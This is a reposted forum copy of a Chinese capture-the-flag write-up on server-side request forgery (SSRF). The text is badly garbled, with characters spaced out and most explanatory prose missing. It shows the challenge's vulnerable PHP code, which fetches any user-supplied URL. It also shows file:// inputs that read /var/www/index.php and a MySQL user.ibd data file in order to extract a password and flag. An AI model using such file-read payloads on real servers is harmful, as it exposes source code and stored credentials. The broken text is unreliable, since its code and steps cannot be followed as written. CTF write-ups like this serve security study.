[21109] 2020-06-29_CTFweb题总结--SSRF

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2020-06-29_CTFweb题总结--SSRF C T F   w e b - - S S R F L e m o n S e c   2 0 2 0 - 0 6 - 2 9 S S R F ( S e r v e r - S i d e   R e q u e s t   F o r g e r y : ) S S R F 访 S S R F S S R F 访 p h p f i l e _ g e t _ c o n t e n t s ( )   h t t p [ s ] /     f i l e : / /   S S R F 1 .   i n d e x . p h p 2 .   f l a g   f l a g _ c h u n i b y o u . p h p   i n d e x   _   3 .   访 i n d e x i b d < ? p h p i f   ( i s s e t ( $ _ P O S T [ ' u r l ' ] ) )   {         $ u r l   =   $ _ P O S T [ ' u r l ' ] ;         i f   ( p r e g _ m a t c h ( ' / ^ h t t p [ s ] ? : / / ( [ ( w | d ) + . ] + [ / ] ? ) * / ' ,   $ u r l ,   $ m a t c h e s ) )   {                 $ c o n t e n t   =   f i l e _ g e t _ c o n t e n t s ( $ _ P O S T [ ' u r l ' ] ) ;                 $ f i l e n a m e   =   s t r _ r e p l a c e ( ' / ' ,   ' ' ,   $ m a t c h e s [ 1 ] ) ;                 $ f i l e n a m e   =   ' . / c h u o y b i n u / '   .   m d 5 ( $ f i l e n a m e )   .   $ m a t c h e s [ 1 ] ;                 f i l e _ p u t _ c o n t e n t s ( $ f i l e n a m e ,   $ c o n t e n t ) ;                 $ i m a g e   =   g e t i m a g e s i z e ( $ f i l e n a m e ) ;                 $ i m a g e _ t y p e   =   $ i m a g e [ 2 ] ;                 i f ( i n _ a r r a y ( $ i m a g e _ t y p e ,   a r r a y ( I M A G E T Y P E _ G I F ,   I M A G E T Y P E _ J P E G ,   I M A G E T Y P E _ P N G ,   I M A G E T Y P E _ B M P ) ) )   {                           e c h o   ' < i m g   s r c = " '   .   $ u r l   .   ' " > ' ;                 }   e l s e   {                         e c h o   ' < a   h r e f = " '   .   $ u r l   .   ' " > '   .   $ u r l   .   ' < / a > ' ;                 }         }   e l s e   i f   ( p r e g _ m a t c h ( ' / ^ f i l e : / / ( [ / w d . ] + ) / ' ,   $ u r l ) )   {                 $ c o n t e n t   =   f i l e _ g e t _ c o n t e n t s ( $ u r l ) ;                 r e a d f i l e ( $ f i l e ) ;                 $ f i l e n a m e   =   ' . / c h u o y b i n u / '   .   m d 5 ( t i m e ( ) ) ;                 f i l e _ p u t _ c o n t e n t s ( $ f i l e n a m e ,   $ c o n t e n t ) ;                 i f   ( s t r p o s ( $ u r l ,   ' _ ' ) )   {                         e c h o   ' < p > F l a g   i s   n o t   s u c h   e a s y   t o   g e t ! ( : ) < / p > ' ;                 }   e l s e   {                         e c h o   ' < a   h r e f = " '   .   $ f i l e n a m e   .   ' " > '   .   $ f i l e n a m e   .   ' < / a > ' ;                 }         }   e l s e   {                 e c h o   ' < p > P r o t o c o l   N o t   S u p p o r t e d ! ( : ) < / p > ' ;         } }   e l s e   { ? > f i l e : / / / v a r / w w w / i n d e x . p h p f i l e : / / . . . / c t f / u s e r . i b d
  s t r i n g s   u s e r . i d b   p a s s w o r d f l a g C S D N b o b 6 2 8 5 6 h t t p s : / / b l o g . c s d n . n e t / q q _ 2 0 8 1 7 3 2 7 / a r t i c l e / d e t a i l s / 7 7 6 8 6 3 0 8
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则